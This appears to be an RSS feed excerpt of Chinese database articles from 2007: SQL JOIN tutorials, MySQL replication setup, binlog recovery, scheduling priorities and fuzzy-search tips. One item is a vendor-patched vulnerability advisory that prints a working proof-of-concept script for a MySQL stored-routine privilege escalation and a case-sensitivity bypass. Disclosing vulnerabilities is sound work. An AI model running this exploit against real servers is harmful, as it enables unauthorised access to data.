在使用JOIN前，必须明白是通过联接，根据各个表之间的逻辑关系从相关表中检索数据。通过SQL Server自带帮助文件，可以清楚的知道：可在 FROM 或 WHERE 子句中指定联接。

&nbsp;

1.1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在WHERE子句中指定联接
下例使用WHERE子句进行表之间的

SELECT A.SYMBOL,A.SNAME,B.TDATE,B.CLOSE 

FROM SECURITYCODE A,DAYQUOTE B

WHERE A.SYMBOL =B.SYMBOL 

&nbsp;&nbsp;&nbsp; AND&nbsp; B.TDATE &gt;= A.LISTDATE

&nbsp;&nbsp;&nbsp; AND A.SYMBOL LIKE&nbsp; '600%'

在上例中联接的表A与表B通过A.SYMBOL =B.SYMBOL这个条件联接，筛选条件为B.TDATE不小于A. LISTDATE。

在WHERE子句中指定联接，对于较简单的联接，使用这种方式可能较方便，但综合来说，不推荐使用该语法联接表。

1.2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在FROM子句中指定联接
拿上面的例子来详细说，表SECURITYCODE中主要存放证券代码的基本信息，表中的SYMBOL代表股票代码，SNAME代表股票名称，LISTDATE代表上市日期；表DAYQUOTE中主要存放股票的每日行情。SYMBOL代表股票代码，TDATE代表交易日期， CLOSE代表收盘价。

我现在的取值逻辑是：取出股票代码以600打头的股票自上市日期以来的所有交易日的收盘价。将SECURITYCODE与DAYQUOTE通过SYMBOL联接。

SELECT A.SYMBOL,A.SNAME,B.TDATE,B. CLOSE 

FROM SECURITYCODE A

JOIN DAYQUOTE B

&nbsp;&nbsp;&nbsp; ON A.SYMBOL =B.SYMBOL

WHERE&nbsp; B.TDATE &gt;= A.LISTDATE

&nbsp;&nbsp;&nbsp; AND A.SYMBOL LIKE '600%'

ORDER BY A.SYMBOL,B.TDATE

对于使用FROM子句方式联接表，可以很清楚的看出表之间的联接条件。就可读性以及后续的可修改性与WHERE子句相比有较大的优势。

&nbsp;

下面就联接的方式引用帮助文件中的具体介绍，联接可以分为以下几种：

1.3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 内联接
内联接（典型的联接运算，使用像 = 或 &lt;&gt; 之类的比较运算符）。包括相等联接和自然联接。 

内联接使用比较运算符根据每个表共有的列的值匹配两个表中的行。

在 SQL-92 标准中，内联接可在 FROM 或 WHERE 子句中指定。这是 WHERE 子句中唯一一种 SQL-92 支持的联接类型。WHERE 子句中指定的内联接称为旧式内联接。

内联接一般常见写法：

SELECT A.COLUMN1,[A.COLUMN2],B.COLUMN1,[B.COLUMN2]

FROM&nbsp; TABLE1 A

[INNER] JOIN TABLE2 B

&nbsp;&nbsp;&nbsp; ON A.COLUMN0 = B.COLUMN0

在查询分析器中使用INNER JOIN时常常省略INNER。

1.4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 外联接
外联接可以是左向外联接、右向外联接或完整外部联接。 

在 FROM 子句中指定外联接时，可以由下列几组关键字中的一组指定：

&nbsp;

LEFT JOIN 或 LEFT OUTER JOIN

左向外联接的结果集包括 LEFT OUTER 子句中指定的左表的所有行，而不仅仅是联接列所匹配的行。如果左表的某行在右表中没有匹配行，则在相关联的结果集行中右表的所有选择列表列均为空值。

&nbsp;

RIGHT JOIN 或 RIGHT OUTER JOIN

右向外联接是左向外联接的反向联接。将返回右表的所有行。如果右表的某行在左表中没有匹配行，则将为左表返回空值。

&nbsp;

FULL JOIN 或 FULL OUTER JOIN 

完整外部联接返回左表和右表中的所有行。当某行在另一个表中没有匹配行时，则另一个表的选择列表列包含空值。如果表之间有匹配行，则整个结果集行包含基表的数据值。

&nbsp;

仅当至少有一个同属于两表的行符合联接条件时，内联接才返回行。内联接消除与另一个表中的任何行不匹配的行。而外联接会返回 FROM 子句中提到的至少一个表或视图的所有行，只要这些行符合任何 WHERE 或 HAVING 搜索条件。将检索通过左向外联接引用的左表的所有行，以及通过右向外联接引用的右表的所有行。完整外部联接中两个表的所有行都将返回。

外联接的中常见的是LEFT JOIN，将LEFT JOIN用熟已经可以解决大半问题了。

外联接的一般写法：

SELECT A.COLUMN1,[A.COLUMN2],B.COLUMN1,[B.COLUMN2]

FROM&nbsp; TABLE1 A

LEFT|RIGHT|FULL [OUTER] JOIN TABLE2 B

&nbsp;&nbsp;&nbsp; ON A.COLUMN0 = B.COLUMN0

在查询分析器中使用OUTER JOIN时常常省略OUTER。LEFT和RIGHT只是方向问题，在特定场合下，FULL OUTER JOIN 相当于LEFT OUTER JOIN 和 RIGHT OUTER JOIN的消除重复行的合集。

1.5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 交叉联接
交叉联接返回左表中的所有行，左表中的每一行与右表中的所有行组合。交叉联接也称作笛卡尔积。

没有 WHERE 子句的交叉联接将产生联接所涉及的表的笛卡尔积。第一个表的行数乘以第二个表的行数等于笛卡尔积结果集的大小。也就是说在没有WHERE子句的情况下，若表A有3行记录，表B有6行记录:：

SELECT&nbsp; A.*,B.*&nbsp; FROM 表A&nbsp; CROSS&nbsp; JOIN 表B

那以上语句会返回18行记录。

&nbsp;

Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=276070
]]></description>
		</item>
		<item>
			<title>经典连接查询示例</title>
			<link>http://www.kingmx.com/article.php?id=15153</link>
			<pubDate>2007-3-22</pubDate>
			<description><![CDATA[
--查询分析器中执行：
--建表table1,table2：
create table table1(id int,name varchar(10))
create table table2(id int,score int)
insert into table1 select 1,'lee'
insert into table1 select 2,'zhang'
insert into table1 select 4,'wang'
insert into table2 select 1,90
insert into table2 select 2,100
insert into table2 select 3,70
如表
-------------------------------------------------
&nbsp;table1&nbsp;&nbsp;|&nbsp;table2&nbsp;&nbsp;|
-------------------------------------------------
id&nbsp;&nbsp;name&nbsp;|id&nbsp;&nbsp;score&nbsp;|
1&nbsp;&nbsp;lee&nbsp;|1&nbsp;&nbsp;90&nbsp;|
2&nbsp;&nbsp;zhang&nbsp;|2&nbsp;&nbsp;100&nbsp;|
4&nbsp;&nbsp;wang&nbsp;|3&nbsp;&nbsp;70&nbsp;|
-------------------------------------------------

以下均在查询分析器中执行

一、外连接
1.概念：包括左向外联接、右向外联接或完整外部联接

2.左连接：left join 或 left outer join
(1)左向外联接的结果集包括 LEFT OUTER 子句中指定的左表的所有行，而不仅仅是联接列所匹配的行。如果左表的某行在右表中没有匹配行，则在相关联的结果集行中右表的所有选择列表列均为空值(null)。
(2)sql语句
select * from table1 left join table2 on table1.id=table2.id
-------------结果-------------
id&nbsp;name&nbsp;id&nbsp;score
------------------------------
1&nbsp;lee&nbsp;1&nbsp;90
2&nbsp;zhang&nbsp;2&nbsp;100
4&nbsp;wang&nbsp;NULL&nbsp;NULL
------------------------------
注释：包含table1的所有子句，根据指定条件返回table2相应的字段，不符合的以null显示

3.右连接：right join 或 right outer join
(1)右向外联接是左向外联接的反向联接。将返回右表的所有行。如果右表的某行在左表中没有匹配行，则将为左表返回空值。
(2)sql语句
select * from table1 right join table2 on table1.id=table2.id
-------------结果-------------
id&nbsp;name&nbsp;id&nbsp;score
------------------------------
1&nbsp;lee&nbsp;1&nbsp;90
2&nbsp;zhang&nbsp;2&nbsp;100
NULL&nbsp;NULL&nbsp;3&nbsp;70
------------------------------
注释：包含table2的所有子句，根据指定条件返回table1相应的字段，不符合的以null显示

4.完整外部联接:full join 或 full outer join 
(1)完整外部联接返回左表和右表中的所有行。当某行在另一个表中没有匹配行时，则另一个表的选择列表列包含空值。如果表之间有匹配行，则整个结果集行包含基表的数据值。
(2)sql语句
select * from table1 full join table2 on table1.id=table2.id
-------------结果-------------
id&nbsp;name&nbsp;id&nbsp;score
------------------------------
1&nbsp;lee&nbsp;1&nbsp;90
2&nbsp;zhang&nbsp;2&nbsp;100
4&nbsp;wang&nbsp;NULL&nbsp;NULL
NULL&nbsp;NULL&nbsp;3&nbsp;70
------------------------------
注释：返回左右连接的和（见上左、右连接）

二、内连接
1.概念：内联接是用比较运算符比较要联接列的值的联接

2.内连接：join 或 inner join 

3.sql语句
select * from table1 join table2 on table1.id=table2.id
-------------结果-------------
id&nbsp;name&nbsp;id&nbsp;score
------------------------------
1&nbsp;lee&nbsp;1&nbsp;90
2&nbsp;zhang&nbsp;2&nbsp;100
------------------------------
注释：只返回符合条件的table1和table2的列

4.等价（与下列执行效果相同）
A:select a.*,b.* from table1 a,table2 b where a.id=b.id
B:select * from table1 cross join table2 where table1.id=table2.id&nbsp; (注：cross join后加条件只能用where,不能用on)

三、交叉连接(完全)

1.概念：没有 WHERE 子句的交叉联接将产生联接所涉及的表的笛卡尔积。第一个表的行数乘以第二个表的行数等于笛卡尔积结果集的大小。（table1和table2交叉连接产生3*3=9条记录）

2.交叉连接：cross join (不带条件where...)

3.sql语句
select * from table1 cross join table2
-------------结果-------------
id&nbsp;name&nbsp;id&nbsp;score
------------------------------
1&nbsp;lee&nbsp;1&nbsp;90
2&nbsp;zhang&nbsp;1&nbsp;90
4&nbsp;wang&nbsp;1&nbsp;90
1&nbsp;lee&nbsp;2&nbsp;100
2&nbsp;zhang&nbsp;2&nbsp;100
4&nbsp;wang&nbsp;2&nbsp;100
1&nbsp;lee&nbsp;3&nbsp;70
2&nbsp;zhang&nbsp;3&nbsp;70
4&nbsp;wang&nbsp;3&nbsp;70
------------------------------
注释：返回3*3=9条记录，即笛卡尔积

4.等价（与下列执行效果相同）
A:select * from table1,table2

Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=414033
]]></description>
		</item>
		<item>
			<title>MySQL权限提升及安全限制绕过漏洞</title>
			<link>http://www.kingmx.com/article.php?id=15140</link>
			<pubDate>2007-3-13</pubDate>
			<description><![CDATA[
受影响系统： 

MySQL AB MySQL &lt;= 5.1.10 

描述： 

BUGTRAQ ID: 19559 

MySQL是一款使用非常广泛的开放源代码关系数据库系统，拥有各种平台的运行版本。 

在MySQL上，拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库。成功利用这个漏洞要求运行MySQL的文件系统支持区分大小写的文件名。 

此外，由于在错误的安全环境中计算了suid例程的参数，攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句。成功攻击要求用户对所存储例程拥有EXECUTE权限。 

测试方法： 

【警 告：以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！】 

1、创建数据库 






$ mysql -h my.mysql.server -u sample -p -A sample
Enter password: 
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 263935 to server version: 4.1.16-standard

mysql&gt; create database another;
ERROR 1044: Access denied for user 'sample'@'%' to database 'another'

mysql&gt; create database sAmple; 
Query OK, 1 row affected (0.00 sec)

2、权限提升 






--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings

# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;

# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;

use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);

connect (malcon, localhost, malory,,mysqltest1);

# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;

# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltest2.t1);
return 0;
end|
delimiter ;|

# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;

# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;

connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;

建议： 

厂商补丁：MySQL AB 

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载。
]]></description>
		</item>
		<item>
			<title>MySQL数据库中双机热备配置份过程</title>
			<link>http://www.kingmx.com/article.php?id=15139</link>
			<pubDate>2007-3-13</pubDate>
			<description><![CDATA[
1、MySQL数据库没有增量备份的机制，当数据量太大的时候备份是一个很大的问题。还好MySQL数据库提供了一种主从备份的机制，其实就是把主数据库的所有的数据同时写到备份数据库中。实现MySQL数据库的热备份。 

2、要想实现双机的热备首先要了解主从数据库服务器的版本的需求。要实现热备MySQL的版本都要高于3.2，还有一个基本的原则就是作为从数据库的数据库版本可以高于主服务器数据库的版本，但是不可以低于主服务器的数据库版本。 

3、设置主数据库服务器： 

a.首先查看主服务器的版本是否是支持热备的版本。然后查看my.cnf(类Unix)或者my.ini(Windows)中MySQLd配置块的配置有没有log-bin(记录数据库更改日志)，因为MySQL的复制机制是基于日志的复制机制，所以主服务器一定要支持更改日志才行。然后设置要写入日志的数据库或者不要写入日志的数据库。这样只有您感兴趣的数据库的更改才写入到数据库的日志中。 






server-id=1 //数据库的id这个应该默认是1就不用改动
log-bin=log_name //日志文件的名称，
//这里可以制定日志到别的目录 如果没有设置则默认主机名的一个日志名称
binlog-do-db=db_name //记录日志的数据库
binlog-ignore-db=db_name //不记录日志的数据库

以上的如果有多个数据库用","分割开 

然后设置同步数据库的用户帐号 






MySQL&gt; GRANT REPLICATION SLAVE ON *.*
-&gt; TO 'repl'@'%.mydomain.com' IDENTIFIED BY 'slavepass';

4.0.2以前的版本, 因为不支持REPLICATION 要使用下面的语句来实现这个功能 






MySQL&gt; GRANT FILE ON *.*
-&gt; TO 'repl'@'%.mydomain.com' IDENTIFIED BY 'slavepass';

设置好主服务器的配置文件后重新启动数据库 

b.锁定现有的数据库并备份现在的数据 

锁定数据库 






MySQL&gt; FLUSH TABLES WITH READ LOCK;

备份数据库有两种办法一种是直接进入到MySQL的data目录然后打包你需要备份数据库的文件夹，第二种是使用MySQLdump的方式来备份数据库但是要加上"--master-data " 这个参数，建议使用第一种方法来备份数据库 

c.查看主服务器的状态 






MySQL&gt; show master status\G;
+---------------+----------+--------------+------------------+
| File          | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+---------------+----------+--------------+------------------+
| MySQL-bin.003 |     73   |     test     |   manual,MySQL   |
+---------------+----------+--------------+------------------+

记录File 和 Position 项目的值，以后要用的。 

d.然后把数据库的锁定打开 






MySQL&gt; UNLOCK TABLES;

4、设置从服务器 

a.首先设置数据库的配置文件 






server-id=n //设置数据库id默认主服务器是1
//可以随便设置但是如果有多台从服务器则不能重复。
master-host=db-master.mycompany.com //主服务器的IP地址或者域名
master-port=3306 //主数据库的端口号
master-user=pertinax //同步数据库的用户
master-password=freitag //同步数据库的密码
master-connect-retry=60 //如果从服务器发现主服务器断掉，重新连接的时间差
report-host=db-slave.mycompany.com //报告错误的服务器

b.把从主数据库服务器备份出来的数据库导入到从服务器中 

c.然后启动从数据库服务器，如果启动的时候没有加上"--skip-slave-start"这个参数则进入到MySQL中 






MySQL&gt; slave stop; //停止slave的服务

d.设置主服务器的各种参数 






MySQL&gt; CHANGE MASTER TO
-&gt; MASTER_HOST='master_host_name', //主服务器的IP地址
-&gt; MASTER_USER='replication_user_name', //同步数据库的用户
-&gt; MASTER_PASSWORD='replication_password', //同步数据库的密码
-&gt; MASTER_LOG_FILE='recorded_log_file_name', 
//主服务器二进制日志的文件名(前面要求记住的参数)
-&gt; MASTER_LOG_POS=recorded_log_position; 
//日志文件的开始位置(前面要求记住的参数)

e.启动同步数据库的线程 






MySQL&gt; slave start;

查看数据库的同步情况吧。如果能够成功同步那就恭喜了！ 

查看主从服务器的状态 






MySQL&gt; SHOW PROCESSLIST\G //可以查看MySQL的进程看看是否有监听的进程

如果日志太大清除日志的步骤如下: 

1&gt;.锁定主数据库 






MySQL&gt; FLUSH TABLES WITH READ LOCK;

2&gt;.停掉从数据库的slave 






MySQL&gt; slave stop;

3&gt;.查看主数据库的日志文件名和日志文件的position 






show master status; 
+---------------+----------+--------------+------------------+ 
|       File    | Position | Binlog_do_db | Binlog_ignore_db | 
+---------------+----------+--------------+------------------+ 
| louis-bin.001 |     79   |              |        MySQL     | 
+---------------+----------+--------------+------------------+

4&gt;.解开主数据库的锁 






MySQL&gt; unlock tables;

5&gt;.更新从数据库中主数据库的信息 






MySQL&gt; CHANGE MASTER TO 
-&gt; MASTER_HOST='master_host_name', //主服务器的IP地址 
-&gt; MASTER_USER='replication_user_name', //同步数据库的用户 
-&gt; MASTER_PASSWORD='replication_password', //同步数据库的密码 
-&gt; MASTER_LOG_FILE='recorded_log_file_name', 
//主服务器二进制日志的文件名(前面要求记住的参数) 
-&gt; MASTER_LOG_POS=recorded_log_position; //日志文件的开始位置(前面要求记住的参数)

6&gt;.启动从数据库的slave 






MySQL&gt; slave start;

]]></description>
		</item>
		<item>
			<title>关于MySQL数据库基本调度策略的简介</title>
			<link>http://www.kingmx.com/article.php?id=15138</link>
			<pubDate>2007-3-13</pubDate>
			<description><![CDATA[
MySQL允许影响语句的调度特性，这样会使来自几个客户机的查询更好地协作，从而单个客户机不会被锁定太长的时间。更改调度特性还能保证特定的查询处理得更快。我们先来看一下MySQL的缺省调度策略，然后来看看为改变这个策略可使用什么样的选项。出于讨论的目的，假设执行检索（ SELECT）的客户机程序为读取程序。执行修改表操作（ DELETE，INSERT，REPLACE 或UP DATE）的另一个客户机程序为写入程序。 

MySQL的基本调度策略可总结如下： 

■ 写入请求应按其到达的次序进行处理。 

■ 写入具有比读取更高的优先权。 

在表锁的帮助下实现调度策略。客户机程序无论何时要访问表，都必须首先获得该表的锁。可以直接用LOCK TABLES 来完成这项工作，但一般服务器的锁管理器会在需要时自动获得锁。在客户机结束对表的处理时，可释放表上的锁。直接获得的锁可用UNLOCK TABLES 释放，但服务器也会自动释放它所获得的锁。 

执行写操作的客户机必须对表具有独占访问的锁。在写操作进行中，由于正在对表进行数据记录的删除、增加或更改，所以该表处于不一致状态，而且该表上的索引也可能需要作相应的更新。如果表处于不断变化中，此时允许其他客户机访问该表会出问题。让两个客户机同时写同一个表显然不好，因为这样会很快使该表不可用。允许客户机读不断变化的表也不是件好事，因为可能在读该表的那一刻正好正在对它进行更改，其结果是不正确的。执行读取操作的客户机必须有一把防止其他客户机写该表的锁，以保证读表的过程中表不出现变化。不过，该锁无需对读取操作提供独占访问。此锁还允许其他客户机同时对表进行读取。读取不会更改表，所有没必要阻止其它客户机对该表进行读取。 

MySQL允许借助几个查询限修饰符对其调度策略施加影响。其中之一是DELETE、INSERT、LOAD DATA、REPLACE 和UP DATE 语句的LOW_PRIORITY 关键字。另一个是SELECT 语句的HIGH_PRIORITY 关键字。第三个是INSERT 和REPLACE 语句的DELAYED 关键字。 

LOW_PRIORITY 关键字按如下影响调度。一般情况下，如果某个表的写入操作在表正被读取时到达，写入程序被阻塞，直到读取程序完成，因为一旦某个查询开始，就不能中断。如果另一读取请求在写入程序等待时到达，此读取程序也被阻塞，因为缺省的调度策略为写入程序具有比读取程序高的优先级。在第一个读取程序结束时，写入程序继续，在此写入程序结束时，第二个读取程序开始。 

如果写入请求为LOW_PRIORITY 的请求，则不将该写入操作视为具有比读取操作优先级高的操作。在此情形下，如果第二个读取请求在写入程序等待时到达，则让第二个读取操作排在等待的写入操作之前。仅当没有其他读取请求时，才允许写入程序执行。这种调度的更改从理论上说，其含义为LOW_PRIORITY 写入可能会永远被阻塞。当正在处理前面的读取请求时，只要另一个读取请求到达，这个新的请求允许排在LOW_PRIORITY 写入之前。 

SELECT 查询的HIGH_PRIORITY 关键字作用类似。它使SELECT 插在正在等待的写入操作之前，即使该写入操作具有正常的优先级。INSERT 的ELAYED 修饰符作用如下，在表的一个INSERT DELAYED 请求到达时，服务器将相应的行放入一个队列，并立即返回一个状态到客户机程序，以便该客户机程序可以继续执行，即使这些行尚未插入表中。如果读取程序正在对表进行读取，那么队列中的行挂起。在没有读取时，服务器开始开始插入延迟行队列中的行。服务器不时地停下来看看是否有新的读取请求到达，并进行等待。如果是这样，延迟行队列将挂起，并允许读取程序继续。在没有其他的读取操作时，服务器再次开始插入延迟行。这个过程一直进行到延迟行队列空为止。 

此调度修饰符并非出现在所有MySQL版本中。下面的表列出了这些修饰符和支持这些修饰符的MySQL版本。可利用此表来判断所使用的MySQL版本具有什么样的功能： 



如果其他客户机可能执行冗长的SELECT 语句，而且您不希望等待插入完成，此时INSERT DELAYED 很有用。发布INSERT DELAYED 的客户机可以更快地继续执行，因为服务器只是简单地将要插入的行插入。不过应该对正常的INSERT 和INSERT DELAYED 性能之间的差异有所认识。如果INSERT DELAYED 存在语法错误，则向客户机发出一个错误，如果正常，便不发出信息。例如，在此语句返回时，不能相信所取得的AUTO_INCREMENT 值。也得不到惟一索引上的重复数目的计数。之所以这样是因为此插入操作在实际的插入完成前返回了一个状态。其他还表示，如果INSERT DELAYED 语句的行在等待插入中被排队，并且服务器崩溃或被终止（用kill -9），那么这些行将丢失。正常的TERM 终止不会这样，服务器会在退出前将这些行插入。
]]></description>
		</item>
		<item>
			<title>让MySQL数据库自动恢复的具体操作</title>
			<link>http://www.kingmx.com/article.php?id=15137</link>
			<pubDate>2007-3-13</pubDate>
			<description><![CDATA[
如果MySQL服务器启用了二进制日志，你可以使用mysqlbinlog工具来恢复从指定的时间点开始 (例如，从你最后一次备份)直到现在或另一个指定的时间点的数据。“mysqlbinlog：用于处理二进制日志文件的实用工具”。 

要想从二进制日志恢复数据，你需要知道当前二进制日志文件的路径和文件名。一般可以从选项文件(即my.cnf or my.ini，取决于你的系统)中找到路径。如果未包含在选项文件中，当服务器启动时，可以在命令行中以选项的形式给出。启用二进制日志的选项为--log-bin。要想确定当前的二进制日志文件的文件名，输入下面的MySQL语句： 






SHOW BINLOG EVENTS \G

你还可以从命令行输入下面的内容： 






mysql --user=root -pmy_pwd -e 'SHOW BINLOG EVENTS \G'

将密码my_pwd替换为服务器的root密码。 

1. 指定恢复时间 

对于MySQL 4.1.4，可以在mysqlbinlog语句中通过--start-date和--stop-date选项指定DATETIME格式的起止时间。举例说明，假设在今天上午10:00(今天是2006年4月20日)，执行SQL语句来删除一个大表。要想恢复表和数据，你可以恢复前晚上的备份，并输入： 






mysqlbinlog --stop-date="2005-04-20 9:59:59" /var/log/mysql/bin.123456 \ 
   | mysql -u root -pmypwd

该命令将恢复截止到在--stop-date选项中以DATETIME格式给出的日期和时间的所有数据。如果你没有检测到几个小时后输入的错误的SQL语句，可能你想要恢复后面发生的活动。根据这些，你可以用起使日期和时间再次运行mysqlbinlog： 






mysqlbinlog --start-date="2005-04-20 10:01:00" /var/log/mysql/bin.123456 \ 
   | mysql -u root -pmypwd \

在该行中，从上午10:01登录的SQL语句将运行。组合执行前夜的转储文件和mysqlbinlog的两行可以将所有数据恢复到上午10:00前一秒钟。你应检查日志以确保时间确切。下一节介绍如何实现。 

2. 指定恢复位置 

也可以不指定日期和时间，而使用mysqlbinlog的选项--start-position和--stop-position来指定日志位置。它们的作用与起止日选项相同，不同的是给出了从日志起的位置号。使用日志位置是更准确的恢复方法，特别是当由于破坏性SQL语句同时发生许多事务的时候。要想确定位置号，可以运行mysqlbinlog寻找执行了不期望的事务的时间范围，但应将结果重新指向文本文件以便进行检查。操作方法为： 






mysqlbinlog --start-date="2005-04-20 9:55:00" --stop-date="2005-04-20 10:05:00" \ 
   /var/log/mysql/bin.123456 &gt; /tmp/mysql_restore.sql

该命令将在/tmp目录创建小的文本文件，将显示执行了错误的SQL语句时的SQL语句。你可以用文本编辑器打开该文件，寻找你不要想重复的语句。如果二进制日志中的位置号用于停止和继续恢复操作，应进行注释。用log_pos加一个数字来标记位置。使用位置号恢复了以前的备份文件后，你应从命令行输入下面内容： 






mysqlbinlog --stop-position="368312" /var/log/mysql/bin.123456 \ 
  | mysql -u root -pmypwd 
mysqlbinlog --start-position="368315" /var/log/mysql/bin.123456 \ 
  | mysql -u root -pmypwd \

上面的第1行将恢复到停止位置为止的所有事务。下一行将恢复从给定的起始位置直到二进制日志结束的所有事务。因为mysqlbinlog的输出包括每个SQL语句记录之前的SET TIMESTAMP语句，恢复的数据和相关MySQL日志将反应事务执行的原时间。
]]></description>
		</item>
		<item>
			<title>实现MySQL数据库数据的同步方法介绍</title>
			<link>http://www.kingmx.com/article.php?id=15136</link>
			<pubDate>2007-3-13</pubDate>
			<description><![CDATA[
做开发的时候要做MySQL的数据库同步，两台安装一样的系统，都是FreeBSD5.4，安装了Apache 2.0.55和PHP 4.4.0，MySQL的版本是4.1.15，都是目前最新的版本。 

1. 安装配置 

两台服务器，分别安装好MySQL，都安装在 /usr/local/mysql 目录下（安装步骤省略，请参考相关文档），两台服务器的IP分别是192.168.0.1和192.168.0.2，我们把192.168.0.1作为Master数据库，把192.168.0.2作为slave服务器，我们采用单向同步的方式，就是Master的数据是主的数据，然后slave主动去Master哪儿同步数据回来。 

两台服务器的配置一样，我们把关键的配置文件拷贝一下，默认的配置文件是在 /usr/local/mysql/share/mysql目录下，分别有 my-large.cnf, my-medium.cnf, my-small.cnf等几个文家，我们只是测试，使用my-medium.cnf就行了。MySQL安装完后，默认的配置文件是指定在数据库存放目录下的，我们用的是4.1.X的，所以配置文件就应该在 /usr/local/mysql/var 目录下，于是把配置文件拷贝过去： 






cp /usr/local/MySQL/share/MySQL/my-medium.cnf  /usr/local/MySQL/var/my.cnf

两台服务器做相同的拷贝配置文件操作。 

2. 配置Master服务器 

我们要把192.168.0.1配置为主MySQL服务器（Master），那么我们就要考虑我们需要同步那个数据库，使用那个用户同步，我们这里为了简单起见，就使用root用户进行同步，并且只需要同步数据库abc。 

打开配置文件： 






vi /usr/local/MySQL/var/my.cnf

找到一下信息： 






# required unique id between 1 and 2^32 - 1
# defaults to 1 if Master-host is not set
# but will not function as a Master if omitted
server-id        = 1    //1为Master，2为salve

添加两行： 






sql-bin-update-same     //同步形式
binlog-do-db     = abc  //要同步的数据库

重启192.168.0.1的MySQL服务器： 






/usr/local/MySQL/bin/MySQLadmin shutdown
/usr/local/MySQL/bin/MySQLd_safe --user=MySQL &amp;

3. 配置Slave服务器 

我们的slave服务器主要是主动去Master服务器同步数据回来，我们编辑配置文件： 






vi /usr/local/MySQL/var/my.cnf

找到下面类似的信息： 






# required unique id between 1 and 2^32 - 1
# defaults to 1 if Master-host is not set
# but will not function as a Master if omitted
server-id        = 1

把上面的server-id修改为2，同时添加一些信息： 






server-id                   = 2                        //本MySQL是slave服务器
Master-host             = 192.168.0.1    //Master服务器的IP
Master-user             = root                  //连接Master服务器的用户
Master-password   = ''                        //连接Master服务器的密码
Master-port              = 3306                //连接端口
Master-connect-retry    = 10              //重试次数
replicate-do-db        = abc                  //要同步的数据库
log-slave-updates                              //同步的形式

重启192.168.0.2的MySQL服务器： 






/usr/local/MySQL/bin/MySQLadmin shutdown
/usr/local/MySQL/bin/MySQLd_safe --user=MySQL &amp;

4. 测试安装 

首先查看一下slave的主机日志： 






cat /usr/local/MySQL/var/xxxxx_err （xxx是主机名）

检查是否连接正常, 看到类似这样的信息就成功了 






051031 11:42:40  MySQLd started
051031 11:42:41  InnoDB: Started; log sequence number 0 43634
/usr/local/MySQL/libexec/MySQLd: ready for connections.
Version: '4.1.15-log'  socket: '/tmp/MySQL.sock'  port: 3306  Source distribution
051031 11:42:41 [Note] Slave SQL thread initialized, starting replication in log 'FIRST' 
at position 0, relay log './new4-relay-bin.000001' position: 4
051031 11:43:21 [Note] Slave I/O thread: connected to Master 'root@192.168.0.1:3306',  
replication started in log 'FIRST' at position 4

在Master查看信息 






/usr/local/MySQL/bin/MySQL -u root

查看Master状态： 






MySQL&gt; show Master status;

查看Master下MySQL进程信息： 






MySQL&gt; show processlist;

在slave上查看信息： 






/usr/local/MySQL/bin/MySQL -u root

查看slave状态： 






MySQL&gt; show slave status;

查看slave下MySQL进程信息： 






MySQL&gt; show processlist;

你再在Master的abc库里建立表结构并且插入数据，然后检查slave有没有同步这些数据，就能够检查出是否设置成功。 

最后，如果有兴趣的话，可以研究一下双击热备份，或者一台Master，多台slave的同步实现。
]]></description>
		</item>
		<item>
			<title>搞定MySQL数据库中文模糊检索问题</title>
			<link>http://www.kingmx.com/article.php?id=15135</link>
			<pubDate>2007-3-13</pubDate>
			<description><![CDATA[
在 MySQL下，在进行中文模糊检索时，经常会返回一些与之不相关的记录，如查找 "%a%" 时，返回的可能有中文字符，却没有a字符存在。本人以前也曾遇到过类似问题，经详细阅读MySQL的Manual，发现可以有一种方法很方便的解决并得到满意的结果。 

例子： 

希望通过“标题”对新闻库进行检索，关键字可能包含是中英文，如下SQL语句： 






select id,title,name from achech_com.news where title like '%a%'

返回的结果，某些title字段确定带了“a”关键字，而有些则只有中文，但也随之返回在检索结果中。 

解决方法，使用 BINARY 属性进行检索，如： 






select id,title,name from achech_com.news where binary title like '%a%'

返回的结果较之前正确，但英文字母区分大小写，故有时在检索如“Achech”及“achech”的结果是不一样的。知道了使用 BINARY 属性可以解决前面这个问题，再看看 MySQL 支持的UCASE 及 CONCAT 函数，其中 UCASE 是将英文全部转成大写，而CONCAT函数的作用是对字符进行连接，以下是我们完全解决后的SQL 语句： 






select id,title,name from achech_com.news 
where binary ucase(title) like concat('%',ucase('a'),'%')

检索的步骤是先将属性指定为 BINARY ，以精确检索结果，而被 like 的 title内容存在大小写字母的可能，故先使用 ucase 函数将字段内容全部转换成大写字母，然后再进行 like 操作，而 like 的操作使用模糊方法，使用 concat的好处是传进来的可以是直接的关键字，不需要带“%”万用符，将“'a'”直接换成你的变量，在任何语言下都万事无忧了。 当然你也可以这么写： 

select id,title,name from achech_com.news where binary ucase(title) like ucase('%a%') 

检索的结果还算满意吧，不过速度可能会因此而慢N毫秒。
]]></description>
		</item>
		<item>
			<title>MySQL主从服务器（Replication）的设置</title>
			<link>http://www.kingmx.com/article.php?id=15062</link>
